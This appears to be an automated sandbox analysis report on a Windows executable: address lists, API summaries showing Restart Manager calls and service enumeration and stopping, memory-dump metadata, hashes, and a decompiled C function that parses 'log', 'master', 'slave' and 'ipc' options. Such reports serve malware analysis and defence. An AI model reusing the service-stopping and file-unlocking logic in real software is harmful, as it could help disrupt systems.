0x000949f3
0x000949f4
0x000949f8
0x000949fe
0x00094a00
0x00094a07
0x00094b40
0x00094b47
0x00094e4e
0x00094e51
0x00094e69
0x00094b4d
0x00094b4f
0x00094b54
0x00094b63
0x00094b6f
0x00094b74
0x00094b7b
0x00094b7b
0x00094b82
0x00094b87
0x00094b96
0x00094ba2
0x00094ba7
0x00094bae
0x00094bae
0x00094bb5
0x00094bba
0x00094bc9
0x00094bd5
0x00094bda
0x00094bda
0x00094be9
0x00094bee
0x00094bfe
0x00094c06
0x00000000
0x00094c0c
0x00094c10
0x00094c12
0x00094c12
0x00094c22
0x00094c31
0x00094c37
0x00094c39
0x00000000
0x00094c3f
0x00094c3f
0x00094c42
0x00094c4b
0x00094c51
0x00094c57
0x00094c62
0x00094c81
0x00094c89
0x00094c96
0x00094c9e
0x00094ca7
0x00094cad
0x00094cae
0x00094caf
0x00094cba
0x00094cbb
0x00094cc4
0x00094ccb
0x00094ccc
0x00094cda
0x00094ce0
0x00094ce3
0x00094ce6
0x00094cee
0x00094cf4
0x00094d00
0x00094d02
0x00094d0a
0x00000000
0x00094d10
0x00094d1d
0x00094d2e
0x00094d30
0x00094d38
0x00094d4a
0x00094d59
0x00094d5d
0x00094d67
0x00094d76
0x00094d89
0x00094d8b
0x00094d90
0x00094d96
0x00094da5
0x00094daf
0x00094db5
0x00094d90
0x00094ddb
0x00094de1
0x00094de1
0x00094de8
0x00094dee
0x00094dee
0x00094df4
0x00094dfa
0x00094e2d
0x00094e2e
0x00000000
0x00094dfc
0x00094dfc
0x00094e02
0x00094e09
0x00094e11
0x00094e23
0x00094e23
0x00094e25
0x00094e2a
0x00000000
0x00094e13
0x00094e13
0x00094e16
0x00094e21
0x00000000
0x00000000
0x00000000
0x00000000
0x00094e21
0x00094e11
0x00094dfa
0x00000000
0x00094e34
0x00094e34
0x00094e3a
0x00094cf4
0x00094cee
0x00094cda
0x00000000
0x00094e46
0x00094e46
0x00094e49
0x00000000
0x00094e49
0x00094c89
0x00094c39
0x00094c06
0x00094a0d
0x00094a10
0x00094a15
0x00094a1e
0x00094a25
0x00094a2c
0x00094a33
0x00094a37
0x00094a3a
0x00094a41
0x00094a44
0x00094a4b
0x00094a4e
0x00094a53
0x00094a57
0x00094a5c
0x00094a65
0x00094a68
0x00094a6b
0x00094a74
0x00094a7c
0x00094a83
0x00094a84
0x00094a85
0x00094a86
0x00094a8b
0x00094a8b
0x00094a8e
0x00094a92
0x00094a98
0x00094ac6
0x00094ac6
0x00094ad0
0x00094ad7
0x00094ae1
0x00094ae6
0x00094aea
0x00094af0
0x00094b27
0x00094b2c
0x00094b31
0x00094b38
0x00094b3b
0x00000000
0x00094af2
0x00094af2
0x00094af8
0x00094aff
0x00094b07
0x00094b1d
0x00094b1d
0x00094b1f
0x00094b24
0x00000000
0x00094b09
0x00094b09
0x00094b0c
0x00094b14
0x00094b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00094b17
0x00094b07
0x00094a9a
0x00094a9a
0x00094a9d
0x00094a9e
0x00094aa6
0x00094abc
0x00094abc
0x00094abe
0x00094ac3
0x00000000
0x00094aa8
0x00094aa8
0x00094aab
0x00094ab3
0x00094ab6
0x00094e6a
0x00094e6a
0x00094e6f
0x00094e6f
0x00094e74
0x00094e75
0x00094e76
0x00094e77
0x00094e78
0x00094e79
0x00094e7a
0x00094e7b
0x00094e7c
0x00094e7d
0x00094e7e
0x00094e7f
0x00094ef0
0x00094ef1
0x00094ef2
0x00094ef4
0x00094ef6
0x00094ef8
0x00094f4e
0x00094f50
0x00094efa
0x00094f10
0x00094f16
0x00094f1c
0x00094f30
0x00094f30
0x00094f32
0x00094f37
0x00094f40
0x00094f47
0x00000000
0x00094f1e
0x00094f1e
0x00094f21
0x00094f24
0x00094f26
0x00094f29
0x00094f2c
0x00094f51
0x00094f56
0x00094f57
0x00094f58
0x00094f59
0x00094f5a
0x00094f5b
0x00094f5c
0x00094f5d
0x00094f5e
0x00094f5f
0x00094f60
0x00094f61
0x00094f63
0x00094f66
0x00094f67
0x00094f69
0x00094f6a
0x00094f6d
0x00094f6e
0x00094f78
0x00094f7a
0x00094f91
0x00094f95
0x00094f98
0x00094fa0
0x00094fa2
0x00094fa5
0x00094fa7
0x000950d1
0x000950d3
0x000950fc
0x00095104
0x00095104
0x00095106
0x00095106
0x0009510f
0x000950d5
0x000950d5
0x000950d5
0x000950d7
0x000950d7
0x000950da
0x000950dc
0x000950e6
0x000950ee
0x000950ee
0x000950ee
0x000950f0
0x000950f9
0x000950f9
0x00094fad
0x00094fad
0x00094fb3
0x00095112
0x00000000
0x00094fb9
0x00094fb9
0x00094fbe
0x00094fc7
0x00094fc9
0x00094fcf
0x00094fd2
0x00094fd4
0x00094fcb
0x00094fcb
0x00094fcb
0x00094fd7
0x00094fdd
0x00094fe0
0x00094fe5
0x00094fec
0x00094ff2
0x0009501b
0x0009501d
0x0009502c
0x0009502c
0x0009501f
0x0009501f
0x00095020
0x00095025
0x00095028
0x00095028
0x00000000
0x00000000
0x00000000
0x00000000
0x00094fe7
0x00094fe7
0x00094ff4
0x00094ff4
0x00094ff4
0x00094ff7
0x00094ffa
0x00094ffc
0x00094fff
0x00095000
0x00095005
0x00095008
0x0009500a
0x00095117
0x00095117
0x0009511c
0x0009511d
0x0009511e
0x0009511f
0x00095120
0x00095123
0x00095125
0x00095130
0x00095134
0x00095135
0x00095136
0x00095137
0x0009513e
0x00095142
0x00095148
0x0009514a
0x0009514c
0x0009514f
0x00095156
0x0009515d
0x00095163
0x0009516f
0x00095171
0x00095178
0x0009517c
0x00095183
0x0009518a
0x00095191
0x00095198
0x0009519a
0x0009519a
0x000951a6
0x000951b1
0x000951b7
0x000951b9
0x000951f6
0x000951f6
0x00000000
0x000951bb
0x000951bb
0x000951be
0x000951c0
0x000951c2
0x000951c4
0x000951c7
0x000951d0
0x000951d0
0x000951d2
0x00000000
0x00000000
0x000951e8
0x000951ed
0x000951ee
0x000951f1
0x000951f4
0x00000000
0x00000000
0x00000000
0x000951f4
0x00000000
0x000951d0
0x000951f9
0x000951f9
0x000951fb
0x000951fe
0x000951fe
0x000951fb
0x000951c0
0x00095209
0x00095217
0x00095010
0x00095010
0x00095013
0x00095016
0x0009502e
0x00095037
0x00095039
0x00095039
0x0009503c
0x0009503e
0x00095048
0x0009504d
0x0009504d
0x00095052
0x00095056
0x00095063
0x00095068
0x0009506a
0x0009506d
0x0009506f
0x000950b3
0x000950b9
0x000950bd
0x000950c3
0x000950c3
0x000950c7
0x000950ce
0x00095071
0x00095087
0x0009508d
0x0009508f
0x00095095
0x000950a9
0x000950a9
0x000950ab
0x00000000
0x00095097
0x00095097
0x0009509a
0x000950a2
0x000950a5
0x00000000
0x000950a7
0x000950a7
0x00000000
0x000950a7
0x000950a5
0x00095095
0x0009506f
0x0009500a
0x00094fe5
0x00094fb3
0x00094f2e
0x00094f2e
0x00000000
0x00094f2e
0x00094f2c
0x00094f1c
0x00000000
0x00000000
0x00000000
0x00094ab6
0x00094aa6
0x00094a98
0x00000000

APIs

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

CloseHandle.KERNEL32(00000000), ref: 00094E2E

Part of subcall function 0008EE00: GetProcAddress.KERNEL32(7757C452,00000000,DB2C627E,?,?,?,?,?,?,0000000F,00130AC8,000000FF,?,00094BD5,RmGetList,DB2C627E), ref: 0008EE33
Part of subcall function 0008EE00: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000000F,00130AC8,000000FF,?,00094BD5,RmGetList,DB2C627E), ref: 0008EE96

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00094CFA
OpenSCManagerW.ADVAPI32(00000000,00000000,00000005,?), ref: 00094D28
OpenServiceW.ADVAPI32(00000000,?,0000002C), ref: 00094D53
CloseServiceHandle.ADVAPI32(00000000), ref: 00094DE8

Part of subcall function 000947F0: GetTickCount.KERNEL32(DB2C627E,7757C452,?), ref: 0009482D
Part of subcall function 000947F0: EnumDependentServicesW.ADVAPI32(?,00000001,00000000,00000000,?,?), ref: 0009484C
Part of subcall function 000947F0: GetLastError.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009485A
Part of subcall function 000947F0: GetProcessHeap.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009486E
Part of subcall function 000947F0: HeapAlloc.KERNEL32(00000000,00000008,?,?,00000001,00000000,00000000,?,?), ref: 00094878
Part of subcall function 000947F0: EnumDependentServicesW.ADVAPI32(?,00000001,00000000,?,?,?), ref: 000948A1
Part of subcall function 000947F0: OpenServiceW.ADVAPI32(?,?,00000024,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948DE
Part of subcall function 000947F0: ControlService.ADVAPI32(00000000,00000001,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948FB
Part of subcall function 000947F0: Sleep.KERNEL32(?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 0009490E
Part of subcall function 000947F0: QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?), ref: 00094921
Part of subcall function 000947F0: GetTickCount.KERNEL32(?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 00094931
Part of subcall function 000947F0: @_EH4_CallFilterFunc@8.LIBCMT ref: 0009494A

ControlService.ADVAPI32(00000000,00000001,?), ref: 00094D76
GetTickCount.KERNEL32 ref: 00094D7C
Sleep.KERNEL32(?), ref: 00094D96
QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,?), ref: 00094DAF
GetTickCount.KERNEL32 ref: 00094DC2
CloseServiceHandle.ADVAPI32(00000000), ref: 00094DDB

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

RmStartSession, xrefs: 00094B59
Rstrtmgr.dll, xrefs: 00094A3C
RmRegisterResources, xrefs: 00094B8C
RmGetList, xrefs: 00094BBF

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Service$CountOpenTick$CloseHandle$ControlDependentEnumErrorHeapLastProcessQueryServicesSleepStatus$AddressAllocCallFeatureFilterFunc@8ManagerPresentProcProcessor___raise_securityfailure__onexit
String ID: RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr.dll
API String ID: 885454954-3489548647
Opcode ID: 55dc6cb79e663deb752c14f58b1fcbc6f7e5a0c6f3e5b56f2f1df2bf92d9ee50
Instruction ID: 6655a35f36d044599329e60c410316209524794c9acf7e76b74aaf652a99ac2c
Opcode Fuzzy Hash: 55dc6cb79e663deb752c14f58b1fcbc6f7e5a0c6f3e5b56f2f1df2bf92d9ee50
Instruction Fuzzy Hash: ABD18971A01218DFEF20DF64CD89F9EB7B9FF45700F5041A9E508AB291DB70AA85CB52

Uniqueness

Uniqueness Score: 100.00%

Function 000619B0, Relevance: 25.1, APIs: 4, Strings: 10, Instructions: 558
comUNIQUE

Download Yara Rule

C-Code - Quality: 73%

			E000619B0(void* __ebx, signed int* __ecx, void* __edx) {
				intOrPtr _v8;
				signed int _v16;
				char _v24;
				intOrPtr _v28;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				char _v56;
				char _v64;
				signed int _v68;
				signed int _v72;
				char _v88;
				intOrPtr _v92;
				char _v112;
				char _v188;
				char* _v196;
				char _v292;
				signed int* _v296;
				signed int _v300;
				signed int _v304;
				char _v308;
				char _v312;
				signed int _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				void* _v344;
				void* _v352;
				void* _v360;
				char _v368;
				char _v408;
				char _v468;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t254;
				signed int _t255;
				signed int _t266;
				signed int* _t277;
				intOrPtr _t289;
				signed int* _t293;
				signed int _t307;
				signed int _t310;
				signed int _t313;
				signed int _t330;
				signed int _t332;
				signed int _t333;
				void* _t348;
				signed int _t360;
				intOrPtr _t370;
				intOrPtr _t375;
				intOrPtr _t380;
				char* _t392;
				signed int _t393;
				intOrPtr _t395;
				intOrPtr _t400;
				intOrPtr _t407;
				signed int _t413;
				signed int _t424;
				signed int _t456;
				intOrPtr _t457;
				intOrPtr* _t458;
				signed int _t464;
				void* _t467;
				signed int _t470;
				signed int _t474;
				intOrPtr _t477;
				intOrPtr _t478;
				intOrPtr _t479;
				char* _t481;
				intOrPtr _t483;
				intOrPtr _t484;
				intOrPtr _t485;
				signed int _t487;
				intOrPtr _t488;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				void* _t494;
				signed int _t495;
				void* _t496;
				intOrPtr _t497;
				void* _t498;
				void* _t499;
				void* _t500;
				signed int _t501;
				signed int _t503;
				intOrPtr* _t505;
				void* _t507;
				unsigned int _t509;
				intOrPtr* _t510;
				signed int _t511;
				signed int* _t512;
				signed int _t513;
				signed int _t515;
				signed int _t518;
				signed int* _t519;
				void* _t520;
				signed int _t522;
				signed int _t526;
				signed int _t529;
				intOrPtr _t530;
				void* _t532;

				_t413 = _t526;
				_t529 = (_t526 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t413 + 4));
				_t522 = _t529;
				_t530 = _t529 - 0x178;
				_t254 =  *0x16f170; // 0xdb2c627e
				_t255 = _t254 ^ _t522;
				_v40 = _t255;
				 *[fs:0x0] =  &_v24;
				_v28 = _t530;
				_v296 = __ecx;
				_v304 = 0;
				_v316 = 0;
				_v312 = 0;
				__imp__Wow64DisableWow64FsRedirection( &_v312, _t255, _t500, _t507, _t413, __ecx,  *[fs:0x0], E0012E3EA, 0xffffffff, _t520, __ebx);
				__imp__CoInitialize(0); // executed
				_v16 = 0;
				_t501 =  *0x13ad60; // 0x50
				_push(7);
				_t509 = _t501 >> 1;
				_v48 = 0;
				_v44 = 0xf;
				_v64 = 0;
				E00068B90( &_v64, __edx, _t509, "options");
				_push(_t509);
				_v16 = 1;
				E000A0FF0( &_v64, _t501);
				_v16 = 3;
				_t487 = _v44;
				if(_t487 < 0x10) {
					L4:
					_v48 = 0;
					_v44 = 0xf;
					_v64 = 0;
					_t266 = E000A14B0(E000A14B0(E000A14B0(E000A1D50( &_v188,  &_v308), _t546, "log,l", "log"), _t546, "master,m", "master"), _t546, "slave,s", "slave");
					_push(0x88);
					_v300 = _t266;
					_t510 = E000ECF08(_t509, _t546);
					_v304 = _t510;
					 *((intOrPtr*)(_t510 + 4)) = 0x13a5e8;
					 *_t510 = 0x151690;
					 *((intOrPtr*)(_t510 + 4)) = 0x1515f8;
					 *((intOrPtr*)(_t510 + 8)) = 0x16fbb0;
					 *(_t510 + 0x1c) = 0;
					 *((intOrPtr*)(_t510 + 0x20)) = 0xf;
					 *((char*)(_t510 + 0xc)) = 0;
					 *(_t510 + 0x24) = 0;
					 *(_t510 + 0x38) = 0;
					 *((intOrPtr*)(_t510 + 0x3c)) = 0xf;
					 *((char*)(_t510 + 0x28)) = 0;
					 *(_t510 + 0x40) = 0;
					 *(_t510 + 0x54) = 0;
					 *((intOrPtr*)(_t510 + 0x58)) = 0xf;
					 *((char*)(_t510 + 0x44)) = 0;
					 *(_t510 + 0x5c) = 0;
					 *((char*)(_t510 + 0x60)) = 0;
					_push(0x1c);
					 *(_t510 + 0x68) = 0;
					_t501 = E000ECF08(_t510, _t546);
					_t532 = _t530 + 8;
					_v304 = _t501;
					_v16 = 5;
					_t49 = _t501 + 4; // 0x4
					 *_t501 = 0x13a988;
					E00064B40(_t49, _t487, 0x16fbb0);
					_t424 =  *(_t510 + 0x24);
					 *(_t510 + 0x24) = _t501;
					if(_t424 != 0) {
						 *((intOrPtr*)( *_t424))(1);
					}
					_v16 = 6;
					_push( *0x16fbc0);
					_t271 =  >=  ?  *0x16fbb0 : 0x16fbb0;
					_v72 = 0;
					_v68 = 0xf;
					_v88 = 0;
					_v304 = 1;
					E00068B90( &_v88, _t487, _t510,  >=  ?  *0x16fbb0 : 0x16fbb0);
					_t59 = _t510 + 0x28; // 0x28
					E00064900(_t413, _t59, _t501, _t510,  &_v88);
					_v16 = 3;
					_t488 = _v68;
					if(_t488 < 0x10) {
						L10:
						E000A15C0(_v300, _t551, "ipc,i", _t510, "ipc");
						E0009CCA0( &_v368);
						_v16 = 8;
						_t511 = 0;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v304 = 2;
						while(1) {
							_t277 = _v296;
							_t501 =  *_t277;
							_t490 = 0x2aaaaaab * (_t277[1] - _t501) >> 0x20 >> 2;
							if(_t511 >= (0x2aaaaaab * (_t277[1] - _t501) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t277[1] - _t501) >> 0x20 >> 2)) {
								break;
							}
							_t392 = E000A80A0( &_v112, _t501 + (_t511 + _t511 * 2) * 8);
							_t532 = _t532 + 8;
							_t481 = _t392;
							_v16 = 9;
							_t393 = _v48;
							if(_v44 == _t393) {
								_push(_t481);
								E0007DD40(_t413,  &_v52, _t501, _t511, _t393);
							} else {
								 *(_t393 + 0x10) = 0;
								 *(_t393 + 0x14) = 0;
								asm("movups xmm0, [ecx]");
								asm("movups [eax], xmm0");
								asm("movq xmm0, [ecx+0x10]");
								asm("movq [eax+0x10], xmm0");
								 *(_t481 + 0x10) = 0;
								 *((intOrPtr*)(_t481 + 0x14)) = 0xf;
								 *_t481 = 0;
								_v48 = _v48 + 0x18;
							}
							_v16 = 8;
							_t497 = _v92;
							if(_t497 < 0x10) {
								L19:
								_t511 = _t511 + 1;
								continue;
							} else {
								_t483 = _v112;
								_t498 = _t497 + 1;
								_t395 = _t483;
								if(_t498 < 0x1000) {
									L18:
									_push(_t498);
									E000ED2D0(_t483);
									_t532 = _t532 + 8;
									goto L19;
								} else {
									_t456 =  *(_t483 - 4);
									_t496 = _t498 + 0x23;
									if(_t395 - _t456 + 0xfffffffc > 0x1f) {
										goto L63;
									} else {
										goto L18;
									}
								}
							}
							goto L98;
						}
						E000A3C80( &_v52);
						E00067600(_t413,  &_v52, _t501);
						_v16 = 0xa;
						E000A75E0( &_v292,  &_v188);
						_v196 =  &_v188;
						_t289 = E000A5300( &_v292);
						_v336 = 0;
						_v332 = 0;
						_v328 = 0;
						_v324 = _v196;
						_v320 = _t289;
						_v16 = 0xb;
						_t512 = E000A6840(_t413,  &_v292, _t501, _t511,  &_v52);
						_t293 =  &_v336;
						__eflags = _t293 - _t512;
						if(_t293 != _t512) {
							E000673B0(_t413, _t293, _t501, _t512);
							_v336 =  *_t512;
							_v332 = _t512[1];
							_v328 = _t512[2];
							 *_t512 = 0;
							_t512[1] = 0;
							_t512[2] = 0;
						}
						E000673B0(_t413,  &_v52, _t501, _t512);
						E0009F0C0(_t413,  &_v408, _t501, _t512, __eflags,  &_v336);
						E000673B0(_t413,  &_v336, _t501, _t512);
						_v16 = 0xc;
						E0009E600( &_v408,  &_v368);
						E00062400(_t413,  &_v408, _t501);
						_v16 = 7;
						E00062560( &_v292);
						_push( &_v368);
						E0009D610(_t413, _t501, _t512);
						_t532 = _t532 + 0xc;
						_v48 = 0;
						_v44 = 0xf;
						_v64 = 0;
						_push(3);
						E00068B90( &_v64, _t490, _t512, "log");
						_t307 = E00063C40( &_v360,  &_v64);
						_t491 = _v44;
						__eflags = _t307;
						 *0x17a480 = _t307 != 0;
						__eflags = _t491 - 0x10;
						if(_t491 < 0x10) {
							L26:
							_push(5);
							_v48 = 0;
							_t513 = 2;
							_v44 = 0xf;
							_v64 = 0;
							E00068B90( &_v64, _t491, 2, "slave");
							_t310 = E00063C40( &_v360,  &_v64);
							_t492 = _v44;
							_t501 = _t310;
							__eflags = _t492 - 0x10;
							if(_t492 < 0x10) {
								L30:
								__eflags = _t501;
								if(_t501 == 0) {
									_push(6);
									_v48 = 0;
									_v44 = 0xf;
									_v64 = 0;
									E00068B90( &_v64, _t492, _t513, "master");
									_t313 = E00063C40( &_v360,  &_v64);
									_t493 = _v44;
									_t501 = _t313;
									__eflags = _t493 - 0x10;
									if(_t493 < 0x10) {
										L36:
										__eflags = _t501;
										if(_t501 == 0) {
											_v56 = E00061040;
											E000835E0( &_v52, _v296);
											_v16 = 0xd;
											_t474 =  *0x17a4d4; // 0x3e7eb0
											_t518 = _t474;
											_v300 = _t501;
											_t360 =  *(_t474 + 4);
											__eflags =  *((char*)(_t360 + 0xd));
											if( *((char*)(_t360 + 0xd)) != 0) {
												L45:
												_v296 =  &_v300;
												_push(_t474);
												__eflags = E00081830(_t474,  &_v296) + 0x10;
												E0007D390( &_v296, _t518, E00081830(_t474,  &_v296) + 0x10, _t363);
												_t519 = _v296;
											} else {
												do {
													__eflags =  *(_t360 + 0x10);
													if( *(_t360 + 0x10) >= 0) {
														_t518 = _t360;
														_t360 =  *_t360;
													} else {
														_t360 =  *(_t360 + 8);
													}
													__eflags =  *((char*)(_t360 + 0xd));
												} while ( *((char*)(_t360 + 0xd)) == 0);
												__eflags = _t518 - _t474;
												if(_t518 == _t474) {
													goto L45;
												} else {
													__eflags =  *(_t518 + 0x10);
													if( *(_t518 + 0x10) > 0) {
														goto L45;
													}
												}
											}
											E0006EFF0(_t413,  &(_t519[6]), _t501, _t519,  &_v56);
											_v16 = 7;
											E000674C0(_t413,  &_v52, _t501);
											_t513 = 0;
											__eflags = 0;
										}
										goto L47;
									} else {
										_t477 = _v64;
										_t496 = _t493 + 1;
										_t370 = _t477;
										__eflags = _t496 - 0x1000;
										if(_t496 < 0x1000) {
											L35:
											_push(_t496);
											E000ED2D0(_t477);
											_t532 = _t532 + 8;
											goto L36;
										} else {
											_t456 =  *(_t477 - 4);
											_t496 = _t496 + 0x23;
											__eflags = _t370 - _t456 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L66;
											} else {
												goto L35;
											}
										}
									}
								} else {
									_t513 = 1;
									L47:
									_v48 = _t513;
									_t513 =  &_v52;
									_v52 = 3;
									_v44 = 4;
									while(1) {
										__eflags = _t513 -  &_v40;
										if(_t513 ==  &_v40) {
											break;
										}
										_t501 =  *0x17a4d4; // 0x3e7eb0
										_t456 = _t501;
										_t494 =  *_t513;
										_t330 =  *(_t501 + 4);
										__eflags =  *((char*)(_t330 + 0xd));
										if( *((char*)(_t330 + 0xd)) != 0) {
											goto L68;
										} else {
											do {
												__eflags =  *((intOrPtr*)(_t330 + 0x10)) - _t494;
												if( *((intOrPtr*)(_t330 + 0x10)) >= _t494) {
													_t456 = _t330;
													_t330 =  *_t330;
												} else {
													_t330 =  *(_t330 + 8);
												}
												__eflags =  *((char*)(_t330 + 0xd));
											} while ( *((char*)(_t330 + 0xd)) == 0);
											__eflags = _t456 - _t501;
											if(_t456 == _t501) {
												goto L68;
											} else {
												__eflags = _t494 -  *((intOrPtr*)(_t456 + 0x10));
												if(_t494 <  *((intOrPtr*)(_t456 + 0x10))) {
													goto L68;
												} else {
													_t456 =  *(_t456 + 0x3c);
													__eflags = _t456;
													if(__eflags == 0) {
														goto L67;
													} else {
														 *((intOrPtr*)( *_t456 + 8))();
														_t513 = _t513 + 4;
														continue;
													}
												}
											}
										}
										goto L98;
									}
									E00069FB0(_t413,  &_v344, _t501, _t513,  &_v308,  *_v344, _v344);
									E000ED2D0(_v344);
									E00069AB0(_t413,  &_v352,  &_v308,  *_v352, _v352);
									E000ED2D0(_v352);
									E00069C40(_t413,  &_v360,  &_v308,  *_v360, _v360);
									E000ED2D0(_v360);
									_v368 = 0x13aac8;
									L69();
									__imp__CoUninitialize(0x38, 0x28, 0x40); // executed
									__imp__Wow64RevertWow64FsRedirection();
									 *[fs:0x0] = _v24;
									__eflags = _v40 ^ _t522;
									return E000ECED8(_v40 ^ _t522,  &_v312);
								}
							} else {
								_t478 = _v64;
								_t492 = _t492 + 1;
								_t375 = _t478;
								__eflags = _t492 - 0x1000;
								if(_t492 < 0x1000) {
									L29:
									_push(_t492);
									E000ED2D0(_t478);
									_t532 = _t532 + 8;
									goto L30;
								} else {
									_t456 =  *(_t478 - 4);
									_t496 = _t492 + 0x23;
									__eflags = _t375 - _t456 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										goto L65;
									} else {
										goto L29;
									}
								}
							}
						} else {
							_t479 = _v64;
							_t491 = _t491 + 1;
							_t380 = _t479;
							__eflags = _t491 - 0x1000;
							if(_t491 < 0x1000) {
								L25:
								_push(_t491);
								E000ED2D0(_t479);
								_t532 = _t532 + 8;
								goto L26;
							} else {
								_t456 =  *(_t479 - 4);
								_t496 = _t491 + 0x23;
								__eflags = _t380 - _t456 + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L64;
								} else {
									goto L25;
								}
							}
						}
					} else {
						_t484 = _v88;
						_t499 = _t488 + 1;
						_t400 = _t484;
						if(_t499 < 0x1000) {
							L9:
							_push(_t499);
							E000ED2D0(_t484);
							_t532 = _t532 + 8;
							goto L10;
						} else {
							_t456 =  *(_t484 - 4);
							_t496 = _t499 + 0x23;
							_t551 = _t400 - _t456 + 0xfffffffc - 0x1f;
							if(_t400 - _t456 + 0xfffffffc > 0x1f) {
								goto L62;
							} else {
								goto L9;
							}
						}
					}
				} else {
					_t485 = _v64;
					_t487 = _t487 + 1;
					_t407 = _t485;
					if(_t487 < 0x1000) {
						L3:
						_push(_t487);
						E000ED2D0(_t485);
						_t530 = _t530 + 8;
						goto L4;
					} else {
						_t456 =  *(_t485 - 4);
						_t496 = _t487 + 0x23;
						_t546 = _t407 - _t456 + 0xfffffffc - 0x1f;
						if(_t407 - _t456 + 0xfffffffc > 0x1f) {
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L62:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L63:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L64:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L65:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L66:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L67:
							E000D9BF8(__eflags);
							L68:
							_push("invalid map<K, T> key");
							E000D9C35();
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t413);
							_push(_t513);
							_t515 = _t456;
							_push(_t501);
							_t503 =  *(_t515 + 0x38);
							__eflags = _t503;
							if(_t503 == 0) {
								L77:
								_t332 =  *(_t515 + 0x2c);
								__eflags = _t332;
								if(_t332 == 0) {
									L82:
									_t503 =  *(_t515 + 0x20);
									__eflags = _t503;
									if(_t503 == 0) {
										L90:
										_t457 =  *((intOrPtr*)(_t515 + 0x14));
										__eflags = _t457 - 0x10;
										if(_t457 < 0x10) {
											L95:
											 *(_t515 + 0x10) = 0;
											 *((intOrPtr*)(_t515 + 0x14)) = 0xf;
											 *_t515 = 0;
											return _t332;
										} else {
											_t333 =  *_t515;
											_t458 = _t457 + 1;
											__eflags = _t458 - 0x1000;
											if(_t458 < 0x1000) {
												L94:
												_push(_t458);
												_t332 = E000ED2D0(_t333);
												goto L95;
											} else {
												_t495 =  *(_t333 - 4);
												_t458 = _t458 + 0x23;
												__eflags = _t333 - _t495 + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L96;
												} else {
													_t333 = _t495;
													goto L94;
												}
											}
										}
									} else {
										_t413 =  *(_t515 + 0x24);
										__eflags = _t503 - _t413;
										if(_t503 != _t413) {
											do {
												E00053860(_t503 + 4);
												_t503 = _t503 + 8;
												__eflags = _t503 - _t413;
											} while (_t503 != _t413);
											_t503 =  *(_t515 + 0x20);
										}
										_t464 =  *(_t515 + 0x28) - _t503 & 0xfffffff8;
										__eflags = _t464 - 0x1000;
										if(_t464 < 0x1000) {
											L89:
											_push(_t464);
											_t332 = E000ED2D0(_t503);
											 *(_t515 + 0x20) = 0;
											_t532 = _t532 + 8;
											 *(_t515 + 0x24) = 0;
											 *(_t515 + 0x28) = 0;
											goto L90;
										} else {
											_t495 =  *(_t503 - 4);
											_t458 = _t464 + 0x23;
											_t503 = _t503 - _t495;
											__eflags = _t503 - 4 - 0x1f;
											if(__eflags > 0) {
												goto L96;
											} else {
												_t503 = _t495;
												goto L89;
											}
										}
									}
								} else {
									_t467 =  *(_t515 + 0x34) - _t332;
									__eflags = _t467 - 0x1000;
									if(_t467 < 0x1000) {
										L81:
										_push(_t467);
										_t332 = E000ED2D0(_t332);
										 *(_t515 + 0x2c) = 0;
										_t532 = _t532 + 8;
										 *(_t515 + 0x30) = 0;
										 *(_t515 + 0x34) = 0;
										goto L82;
									} else {
										_t495 =  *(_t332 - 4);
										_t458 = _t467 + 0x23;
										__eflags = _t332 - _t495 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L96;
										} else {
											_t332 = _t495;
											goto L81;
										}
									}
								}
							} else {
								_t413 =  *(_t515 + 0x3c);
								__eflags = _t503 - _t413;
								if(_t503 != _t413) {
									do {
										E00053860(_t503 + 4);
										_t503 = _t503 + 8;
										__eflags = _t503 - _t413;
									} while (_t503 != _t413);
									_t503 =  *(_t515 + 0x38);
								}
